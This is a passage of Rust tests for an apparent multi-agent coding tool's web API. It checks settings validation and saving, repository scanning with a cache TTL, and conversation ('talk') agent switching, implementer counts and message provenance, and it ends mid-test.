11278 res.body
11279 );
11280 assert!(
11281 f.queue().list().is_empty(),
11282 "a task filed by a route that does not exist must not reach the disk"
11283 );
11284 assert_eq!(f.get("/api/queue").await.status, 200);
11287 }
11288
11289 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11291 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11292 .expect("checkout dir");
11293 }
11294
11295 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11297
11298 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11299 let tmp = TempDir::new().expect("tempdir");
11300 let repo = tmp.path().join("repo");
11301 std::fs::create_dir_all(&repo).expect("repo dir");
11302 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11303 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11304 if let Some(text) = machine_toml {
11305 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11306 std::fs::write(&machine, text).expect("machine toml");
11307 }
11308 (tmp, repo, machine)
11309 }
11310
11311 async fn settings_checkout(path: &FsPath, text: &str) {
11312 std::fs::create_dir_all(path).unwrap();
11313 std::fs::write(path.join("magi.toml"), text).unwrap();
11314 for args in [
11315 vec!["init", "-b", "main"],
11316 vec!["add", "magi.toml"],
11317 vec![
11318 "-c",
11319 "user.name=Test",
11320 "-c",
11321 "user.email=test@example.invalid",
11322 "commit",
11323 "-m",
11324 "fixture",
11325 ],
11326 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11327 vec![
11328 "symbolic-ref",
11329 "refs/remotes/origin/HEAD",
11330 "refs/remotes/origin/main",
11331 ],
11332 ] {
11333 crate::git::git(path, &args).await.unwrap();
11334 }
11335 }
11336
11337 #[tokio::test]
11338 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11339 let (tmp, repo, machine) =
11340 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11341 let root = tmp.path().join("roots");
11342 let selected = root.join("host/owner/selected");
11343 settings_checkout(
11344 &selected,
11345 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11346 )
11347 .await;
11348 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11349 let before = std::fs::read(&machine).unwrap();
11350 let ui = Arc::new(
11351 Ui::new(
11352 Queue::at(tmp.path().join("queue")),
11353 Questions::at(tmp.path().join("questions")),
11354 Talks::at(tmp.path().join("talks")),
11355 tmp.path().join("runs"),
11356 tmp.path().to_path_buf(),
11357 repo.clone(),
11358 )
11359 .with_machine_config(Some(machine.clone())),
11360 );
11361 let query = || {
11362 Query(SettingsQuery {
11363 repo: Some(selected.clone()),
11364 })
11365 };
11366 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11367 assert!(v.error.is_none(), "{:?}", v.error);
11368 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11369 assert_eq!(conductor.source, "repo");
11370 assert_eq!(
11371 conductor.machine_value,
11372 Some(toml::Value::String("a".into()))
11373 );
11374 assert!(!conductor.editable);
11375 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11376 assert_eq!(
11377 judges.count.as_ref().unwrap().machine_value,
11378 Some(toml::Value::Integer(1))
11379 );
11380 assert!(
11381 !v.roles
11382 .iter()
11383 .find(|r| r.key == "reviewers")
11384 .unwrap()
11385 .editable
11386 );
11387 let unknown = || {
11388 Query(SettingsQuery {
11389 repo: Some(tmp.path().to_path_buf()),
11390 })
11391 };
11392 assert_eq!(
11393 settings_get(State(ui.clone()), unknown())
11394 .await
11395 .unwrap_err()
11396 .status,
11397 StatusCode::UNPROCESSABLE_ENTITY
11398 );
11399 let body = || {
11400 Ok(Json(RolesBody {
11401 revision: v.revision.clone(),
11402 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11403 counts: Default::default(),
11404 }))
11405 };
11406 assert_eq!(
11407 settings_put_roles(State(ui.clone()), unknown(), body())
11408 .await
11409 .unwrap_err()
11410 .status,
11411 StatusCode::UNPROCESSABLE_ENTITY
11412 );
11413 assert_eq!(std::fs::read(&machine).unwrap(), before);
11414 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11415 .await
11416 .unwrap();
11417 assert_eq!(
11418 saved.repo,
11419 selected.canonicalize().unwrap().display().to_string()
11420 );
11421 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11422 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11423 let fresh = root.join("host/owner/fresh");
11425 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11426 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11427 .await
11428 .unwrap();
11429 assert_eq!(fresh_view.repositories.len(), 3);
11430 }
11431
11432 #[tokio::test]
11433 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11434 let (tmp, repo, machine) = settings_dirs(
11435 "[roles]\nreviewers = [\"a\"]\n",
11436 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11437 );
11438 let root = tmp.path().join("roots");
11439 let selected = root.join("host/owner/selected");
11440 settings_checkout(
11441 &selected,
11442 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11443 )
11444 .await;
11445 let broken = root.join("host/owner/broken");
11446 settings_checkout(&broken, "[roles\nbroken").await;
11447 let machine_text = format!(
11448 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11449 toml::Value::String(root.display().to_string())
11450 );
11451 std::fs::write(&machine, &machine_text).unwrap();
11452 let originals: Vec<_> = [&repo, &selected, &broken]
11453 .iter()
11454 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11455 .collect();
11456 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11457 let default = f.get("/api/settings").await.json();
11458 assert_eq!(
11459 default["repo"],
11460 repo.canonicalize().unwrap().display().to_string()
11461 );
11462 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11463 let query = format!("?repo={}", selected.display());
11464 let res = f.get(&format!("/api/settings{query}")).await;
11465 assert_eq!(res.status, 200, "{}", res.body);
11466 let v = res.json();
11467 assert!(v["error"].is_null(), "{v}");
11468 assert_eq!(v["repositories"], default["repositories"]);
11469 let role = |key: &str| {
11470 v["roles"]
11471 .as_array()
11472 .unwrap()
11473 .iter()
11474 .find(|r| r["key"] == key)
11475 .unwrap()
11476 };
11477 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11478 assert_eq!(role("advisors")["source"], "repo");
11479 assert_eq!(role("advisors")["editable"], false);
11480 assert!(role("advisors")["machine_value"].is_null());
11481 assert_eq!(role("judges")["count"]["value"], 2);
11482 assert_eq!(role("judges")["count"]["machine_value"], 1);
11483 assert_eq!(role("judges")["count"]["source"], "repo");
11484 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11485 assert!(
11486 source.contains("origin/main") && !source.contains("magi/config/"),
11487 "{source}"
11488 );
11489 assert_eq!(
11490 role("reviewers")["editable"],
11491 false,
11492 "default context outside roots must protect its declarations"
11493 );
11494 let body =
11495 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11496 let unknown = format!("?repo={}", tmp.path().display());
11497 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11498 assert_eq!(
11499 f.put(&format!("/api/settings/roles{unknown}"), &body)
11500 .await
11501 .status,
11502 422
11503 );
11504 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11505 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11506 .to_string();
11507 assert_eq!(
11508 f.put(&format!("/api/settings/roles{query}"), &refuse)
11509 .await
11510 .status,
11511 422
11512 );
11513 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11514 assert_eq!(saved.status, 200, "{}", saved.body);
11515 assert_eq!(saved.json()["repo"], v["repo"]);
11516 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11517 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11518 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11519 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11520 }
11521 let error = f
11522 .get(&format!("/api/settings?repo={}", broken.display()))
11523 .await;
11524 assert_eq!(error.status, 200);
11525 assert!(error.json()["error"]["message"].is_string());
11526 assert_eq!(error.json()["repositories"], default["repositories"]);
11527 }
11528
11529 #[tokio::test]
11530 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11531 let (_tmp, repo, machine) =
11532 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11533 let f = Fixture::with_repo_and_machine(repo, machine).await;
11534 let res = f.get("/api/settings").await;
11535 assert_eq!(res.status, 200, "{}", res.body);
11536 let v = res.json();
11537 assert!(v["error"].is_null(), "{v}");
11538 let role = |k: &str| {
11539 v["roles"]
11540 .as_array()
11541 .and_then(|r| r.iter().find(|x| x["key"] == k))
11542 .cloned()
11543 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11544 };
11545 assert_eq!(role("judges")["source"], "machine");
11546 assert_eq!(role("judges")["editable"], true);
11547 assert_eq!(role("implementers")["source"], "default");
11548 let adv = role("advisors");
11549 assert_eq!(adv["fallback"], "judges");
11550 assert!(
11551 adv["seats"]
11552 .as_array()
11553 .is_some_and(|s| s.iter().all(|x| x == "b")),
11554 "{adv}"
11555 );
11556 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11557 assert_eq!(v["agents"][0]["source"], "repo");
11558 }
11559
11560 #[tokio::test]
11561 async fn settings_get_reports_a_config_that_does_not_parse() {
11562 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11563 let f = Fixture::with_repo_and_machine(repo, machine).await;
11564 let res = f.get("/api/settings").await;
11565 assert_eq!(res.status, 200, "{}", res.body);
11566 let v = res.json();
11567 assert!(v["error"]["message"].is_string(), "{v}");
11568 assert!(
11569 v["error"]["path"]
11570 .as_str()
11571 .is_some_and(|p| p.ends_with("magi.toml")),
11572 "{v}"
11573 );
11574 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11575 }
11576
11577 #[tokio::test]
11578 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11579 let (_tmp, repo, machine) = settings_dirs(
11580 SETTINGS_AGENTS,
11581 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
11582 );
11583 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11584 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11585 let rev = f.get("/api/settings").await.json()["revision"]
11586 .as_str()
11587 .expect("revision")
11588 .to_owned();
11589 let body = serde_json::json!({
11590 "revision": rev,
11591 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11592 })
11593 .to_string();
11594 let res = f.put("/api/settings/roles", &body).await;
11595 assert_eq!(res.status, 200, "{}", res.body);
11596 let text = std::fs::read_to_string(&machine).expect("machine");
11597 assert_eq!(
11598 text,
11599 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11600 );
11601 assert_eq!(
11602 std::fs::read(repo.join("magi.toml")).expect("read"),
11603 repo_before
11604 );
11605 let again = f.get("/api/settings").await.json();
11606 let judges = again["roles"]
11607 .as_array()
11608 .expect("roles")
11609 .iter()
11610 .find(|r| r["key"] == "judges")
11611 .expect("judges")
11612 .clone();
11613 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11614 let stale = f.put("/api/settings/roles", &body).await;
11616 assert_eq!(stale.status, 409, "{}", stale.body);
11617 }
11618
11619 #[tokio::test]
11620 async fn settings_counts_are_reported_and_saved() {
11621 let (_tmp, repo, machine) = settings_dirs(
11622 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11623 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11624 );
11625 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11626 let v = f.get("/api/settings").await.json();
11627 let count = |v: &serde_json::Value, k: &str| {
11628 v["roles"]
11629 .as_array()
11630 .and_then(|r| r.iter().find(|x| x["key"] == k))
11631 .map(|x| x["count"].clone())
11632 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11633 };
11634 let imp = count(&v, "implementers");
11635 assert_eq!(imp["value"], 2);
11636 assert_eq!(imp["source"], "machine");
11637 assert_eq!(imp["file_key"], "candidates");
11638 assert_eq!(imp["roster_len"], 2);
11639 assert_eq!(imp["backups"], 0);
11640 assert_eq!(count(&v, "judges")["source"], "default");
11641 assert_eq!(count(&v, "advisors")["min"], 0);
11642 assert_eq!(count(&v, "reviewers")["editable"], false);
11643 assert!(
11644 count(&v, "reviewers")["locked_reason"]
11645 .as_str()
11646 .is_some_and(|m| m.contains("graph.reviewers"))
11647 );
11648 assert!(count(&v, "fixer").is_null());
11649 let rev = v["revision"].as_str().expect("revision").to_owned();
11650 let body = serde_json::json!({
11651 "revision": rev,
11652 "roles": { "judges": ["b"] },
11653 "counts": { "implementers": 1, "advisors": 0 }
11654 })
11655 .to_string();
11656 let res = f.put("/api/settings/roles", &body).await;
11657 assert_eq!(res.status, 200, "{}", res.body);
11658 let text = std::fs::read_to_string(&machine).expect("machine");
11659 assert_eq!(
11660 text,
11661 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11662 );
11663 let after = f.get("/api/settings").await.json();
11664 assert_eq!(count(&after, "implementers")["value"], 1);
11665 assert_eq!(count(&after, "implementers")["backups"], 1);
11666 assert_eq!(count(&after, "advisors")["value"], 0);
11667 let before = std::fs::read_to_string(&machine).expect("machine");
11668 let rev = after["revision"].as_str().expect("revision").to_owned();
11669 for counts in [
11670 serde_json::json!({ "judges": 0 }),
11671 serde_json::json!({ "judges": "x" }),
11672 serde_json::json!({ "judges": 2.5 }),
11673 serde_json::json!({ "judges": -1 }),
11674 serde_json::json!({ "reviewers": 3 }),
11675 serde_json::json!({ "bogus": 3 }),
11676 ] {
11677 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11678 let res = f.put("/api/settings/roles", &body).await;
11679 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11680 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11681 }
11682 }
11683
11684 #[tokio::test]
11685 async fn settings_put_refuses_without_touching_the_file() {
11686 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11687 let (_tmp, repo, machine) = settings_dirs(
11688 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11689 Some(machine_text),
11690 );
11691 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11692 let rev = f.get("/api/settings").await.json()["revision"]
11693 .as_str()
11694 .expect("revision")
11695 .to_owned();
11696 for roles in [
11697 serde_json::json!({ "judges": ["nope"] }),
11698 serde_json::json!({ "reviewers": ["b"] }),
11699 serde_json::json!({ "bogus": ["a"] }),
11700 ] {
11701 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11702 let res = f.put("/api/settings/roles", &body).await;
11703 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11704 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11705 assert_eq!(
11706 std::fs::read_to_string(&machine).expect("machine"),
11707 machine_text
11708 );
11709 }
11710 }
11711
11712 #[tokio::test]
11713 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11714 let tmp = TempDir::new().expect("tempdir");
11715 let repo = tmp.path().join("repo");
11716 std::fs::create_dir_all(&repo).expect("repo dir");
11717 let root = tmp.path().join("root");
11718 make_checkout(&root, "github.com", "yukimemi", "magi");
11719 std::fs::write(
11720 repo.join("magi.toml"),
11721 format!(
11722 "[repos]\nroots = [{:?}]\n",
11723 root.to_string_lossy().into_owned()
11724 ),
11725 )
11726 .expect("write magi.toml");
11727
11728 let f = Fixture::with_repo(repo).await;
11729 let res = f.get("/api/repos").await;
11730 assert_eq!(res.status, 200, "{}", res.body);
11731 let list = res.json();
11732 let repos = list.as_array().expect("an array");
11733 assert_eq!(repos.len(), 1);
11734 assert_eq!(repos[0]["name"], "yukimemi/magi");
11735 assert!(
11736 repos[0]["path"]
11737 .as_str()
11738 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11739 "{list}"
11740 );
11741 }
11742
11743 #[tokio::test]
11744 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11745 let tmp = TempDir::new().expect("tempdir");
11746 let repo = tmp.path().join("repo");
11747 std::fs::create_dir_all(&repo).expect("repo dir");
11748 let root = tmp.path().join("root");
11749 make_checkout(&root, "github.com", "yukimemi", "magi");
11750 std::fs::write(
11751 repo.join("magi.toml"),
11752 format!(
11753 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11754 root.to_string_lossy().into_owned()
11755 ),
11756 )
11757 .expect("write magi.toml");
11758
11759 let f = Fixture::with_repo(repo).await;
11760 let first = f.get("/api/repos").await;
11761 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11762
11763 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11766 let second = f.get("/api/repos").await;
11767 assert_eq!(
11768 second.json().as_array().map(Vec::len),
11769 Some(1),
11770 "a fresh cache must not rescan inside the TTL"
11771 );
11772
11773 let refreshed = f.get("/api/repos?refresh=1").await;
11774 assert_eq!(
11775 refreshed.json().as_array().map(Vec::len),
11776 Some(2),
11777 "an explicit refresh must rescan even inside the TTL"
11778 );
11779 }
11780
11781 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11787
11788 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11792 let tmp = TempDir::new().expect("tempdir");
11793 let repo = tmp.path().join("repo");
11794 std::fs::create_dir_all(&repo).expect("repo dir");
11795 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11796 let f = Fixture::with_repo(repo.clone()).await;
11797 (tmp, repo, f)
11798 }
11799
11800 #[tokio::test]
11801 async fn posting_a_talk_with_remembered_choices_is_soft() {
11802 let (_tmp, _repo, f) = talk_fixture().await;
11803
11804 let good = f
11805 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11806 .await;
11807 assert_eq!(good.status, 201, "{}", good.body);
11808 assert_eq!(good.json()["persona"], "rei");
11809
11810 let stale = f
11812 .post(
11813 "/api/talks",
11814 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11815 )
11816 .await;
11817 assert_eq!(stale.status, 201, "{}", stale.body);
11818 let v = stale.json();
11819 assert_eq!(v["implementers"], 1);
11820 assert_ne!(v["persona"], "nobody");
11821 let typed = f
11822 .post(
11823 "/api/talks",
11824 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11825 )
11826 .await;
11827 assert_eq!(typed.status, 201, "{}", typed.body);
11828
11829 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11831 assert!(
11832 !strict.status.to_string().starts_with('2'),
11833 "{}",
11834 strict.body
11835 );
11836 }
11837
11838 #[tokio::test]
11839 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11840 let (_tmp, _repo, f) = talk_fixture().await;
11841
11842 let opened = f.post("/api/talks", None).await;
11845 assert_eq!(opened.status, 201, "{}", opened.body);
11846 let body = opened.json();
11847 assert_eq!(body["status"], "open");
11848 assert_eq!(
11849 body["turns"].as_array().unwrap().len(),
11850 0,
11851 "opening takes no agent turn: there is nothing yet to answer"
11852 );
11853
11854 let also_opened = f.post("/api/talks", Some("{}")).await;
11856 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11857
11858 let listed = f.get("/api/talks").await.json();
11859 assert_eq!(listed.as_array().unwrap().len(), 2);
11860 }
11861
11862 #[tokio::test]
11863 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11864 let tmp = TempDir::new().expect("tempdir");
11865 let repo = tmp.path().join("repo");
11866 std::fs::create_dir_all(&repo).expect("repo dir");
11867 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11868 std::fs::write(
11869 repo.join("magi.toml"),
11870 format!("{MOCK_AGENT_TOML}\n{second}"),
11871 )
11872 .expect("write magi.toml");
11873 let home = TempDir::new().expect("temp home");
11874 let talks = Talks::at(home.path().join("talks"));
11875 let ui = Arc::new(
11876 Ui::new(
11877 Queue::at(home.path().join("queue")),
11878 Questions::at(home.path().join("questions")),
11879 talks.clone(),
11880 home.path().join("runs"),
11881 home.path().to_path_buf(),
11882 repo.clone(),
11883 )
11884 .with_worktrees_root(home.path().join("wt")),
11885 );
11886 let cfg = config_for(&repo).await.expect("discover config");
11887 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11888 let id = talk.id.clone();
11889 let call = |agent: &str| {
11890 talk_agent(
11891 State(Arc::clone(&ui)),
11892 Path(id.clone()),
11893 Json(TalkAgent {
11894 agent: agent.to_owned(),
11895 }),
11896 )
11897 };
11898
11899 let unknown = call("nobody").await.expect_err("unknown agent");
11900 assert_eq!(
11901 unknown.status,
11902 StatusCode::BAD_REQUEST,
11903 "{}",
11904 unknown.message
11905 );
11906
11907 {
11908 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11911 let busy = call("second").await.expect_err("busy talk");
11912 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11913 assert!(
11914 busy.message.contains("a talk turn is running"),
11915 "{}",
11916 busy.message
11917 );
11918 drop(guard);
11919 }
11920 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11921
11922 let Json(view) = call("second").await.expect("switch");
11923 assert_eq!(view.talk.agent, "second");
11924 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11925 let saved = talks.get(&id).expect("reload");
11926 assert_eq!(saved.agent, "second");
11927 assert_eq!(saved.turns.len(), 1);
11928 assert!(!view.thinking);
11929 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11930 for agent in ["mock", "second"] {
11931 let Json(view) = call(agent).await.expect("immediate consecutive change");
11932 assert_eq!(view.talk.agent, agent);
11933 assert!(!view.thinking);
11934 assert!(!ui.is_thinking(&id));
11935 }
11936
11937 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11938 .await
11939 .expect("detail");
11940 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11941 assert_eq!(roster, ["mock", "second"]);
11942
11943 let mut closed = talks.get(&id).expect("reload");
11944 talk::close(&mut closed, &talks).expect("close");
11945 let refused = call("mock").await.expect_err("closed talk");
11946 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11947 assert!(
11948 refused.message.contains("takes no more turns"),
11949 "{}",
11950 refused.message
11951 );
11952 }
11953
11954 #[tokio::test]
11955 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11956 let tmp = TempDir::new().expect("tempdir");
11957 let repo = tmp.path().join("repo");
11958 std::fs::create_dir_all(&repo).expect("repo dir");
11959 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11960 let home = TempDir::new().expect("temp home");
11961 let talks = Talks::at(home.path().join("talks"));
11962 let ui = Arc::new(
11963 Ui::new(
11964 Queue::at(home.path().join("queue")),
11965 Questions::at(home.path().join("questions")),
11966 talks.clone(),
11967 home.path().join("runs"),
11968 home.path().to_path_buf(),
11969 repo.clone(),
11970 )
11971 .with_worktrees_root(home.path().join("wt")),
11972 );
11973 let cfg = config_for(&repo).await.expect("discover config");
11974 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11975 let id = talk.id.clone();
11976 let call = |n: u8| {
11977 talk_implementers(
11978 State(Arc::clone(&ui)),
11979 Path(id.clone()),
11980 Json(TalkImplementers { implementers: n }),
11981 )
11982 };
11983
11984 for bad in [0u8, 4] {
11985 let e = call(bad).await.expect_err("out of range");
11986 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11987 }
11988 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11989
11990 {
11991 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11994 let busy = call(2).await.expect_err("busy talk");
11995 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11996 assert!(
11997 busy.message.contains("a talk turn is running"),
11998 "{}",
11999 busy.message
12000 );
12001 drop(guard);
12002 }
12003
12004 let Json(view) = call(3).await.expect("switch");
12005 assert_eq!(view.talk.implementers, 3);
12006 assert!(talks.get(&id).expect("reload").implementers_dirty);
12007 assert!(!view.thinking);
12008 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12009 for n in [1, 2, 3] {
12010 let Json(view) = call(n).await.expect("immediate consecutive change");
12011 assert_eq!(view.talk.implementers, n);
12012 assert!(!view.thinking);
12013 assert!(!ui.is_thinking(&id));
12014 }
12015
12016 let mut closed = talks.get(&id).expect("reload");
12017 talk::close(&mut closed, &talks).expect("close");
12018 let e = call(2).await.expect_err("closed talk");
12019 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12020 assert!(e.message.contains("takes no more turns"), "{}", e.message);
12021 }
12022
12023 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12025 let tmp = TempDir::new().expect("tempdir");
12026 let repo = tmp.path().join("repo");
12027 std::fs::create_dir_all(&repo).expect("repo dir");
12028 std::fs::write(
12029 repo.join("magi.toml"),
12030 format!("{MOCK_AGENT_TOML}\n{extra}"),
12031 )
12032 .expect("write magi.toml");
12033 let home = TempDir::new().expect("temp home");
12034 let talks = Talks::at(home.path().join("talks"));
12035 let ui = Arc::new(
12036 Ui::new(
12037 Queue::at(home.path().join("queue")),
12038 Questions::at(home.path().join("questions")),
12039 talks.clone(),
12040 home.path().join("runs"),
12041 home.path().to_path_buf(),
12042 repo.clone(),
12043 )
12044 .with_worktrees_root(home.path().join("wt")),
12045 );
12046 let cfg = config_for(&repo).await.expect("discover config");
12047 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12048 (tmp, home, ui, talk.id, repo)
12049 }
12050
12051 #[tokio::test]
12052 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12053 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12054 let mut conversation = ui.talks.get(&id).unwrap();
12055 talk::record(
12056 &mut conversation,
12057 &ui.talks,
12058 "# Update on a task you filed\noperator words",
12059 vec![],
12060 )
12061 .unwrap();
12062 conversation.turns[0].sender = None;
12064 conversation.turns[0].messages.clear();
12065 ui.talks.put(&mut conversation).unwrap();
12066 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12067 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12068 talk::drain(&mut conversation, &ui.talks).unwrap();
12069 talk::record_reply(
12070 &mut conversation,
12071 &ui.talks,
12072 "about that report",
12073 vec![],
12074 Some(talk::ReplyTarget {
12075 turn: 1,
12076 message: 1,
12077 }),
12078 )
12079 .unwrap();
12080 conversation.turns[2].messages[0]
12081 .reply
12082 .as_mut()
12083 .unwrap()
12084 .sender = None;
12085 conversation.turns.push(talk::Turn {
12086 sender: Some(talk::Sender::Persona),
12087 who: talk::Who::Agent,
12088 body: "magi: actual persona words".into(),
12089 at: Timestamp::now(),
12090 attachments: vec![],
12091 usage: None,
12092 breaks: None,
12093 messages: vec![],
12094 posted_by: None,
12095 });
12096 ui.talks.put(&mut conversation).unwrap();
12097 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12098 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12099 assert_eq!(
12100 view.talk.turns[1].messages[0].sender,
12101 Some(talk::Sender::Operator)
12102 );
12103 assert_eq!(
12104 view.talk.turns[1].messages[1].sender,
12105 Some(talk::Sender::Magi)
12106 );
12107 assert_eq!(
12108 view.talk.turns[2].messages[0]
12109 .reply
12110 .as_ref()
12111 .unwrap()
12112 .sender,
12113 Some(talk::Sender::Magi)
12114 );
12115 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12116 assert_eq!(view.turn_messages_md[0].len(), 1);
12117 assert!(view.turn_messages_md[0][0].is_none());
12118 assert!(view.turn_messages_md[1][0].is_none());
12119 assert!(view.turn_messages_md[1][1].is_some());
12120 }
12121
12122 #[tokio::test]
12123 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12124 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12125 let mut conversation = ui.talks.get(&id).unwrap();
12126 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12127 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12128 talk::queue_notice(
12129 &mut conversation,
12130 &ui.talks,
12131 &body,
12132 "watch:123",
12133 &|_| false,
12134 None,
12135 display.clone(),
12136 )
12137 .unwrap();
12138 assert!(
12139 !talk::queue_notice(
12140 &mut conversation,
12141 &ui.talks,
12142 &body,
12143 "watch:123",
12144 &|_| false,
12145 None,
12146 display.clone()
12147 )
12148 .unwrap()
12149 );
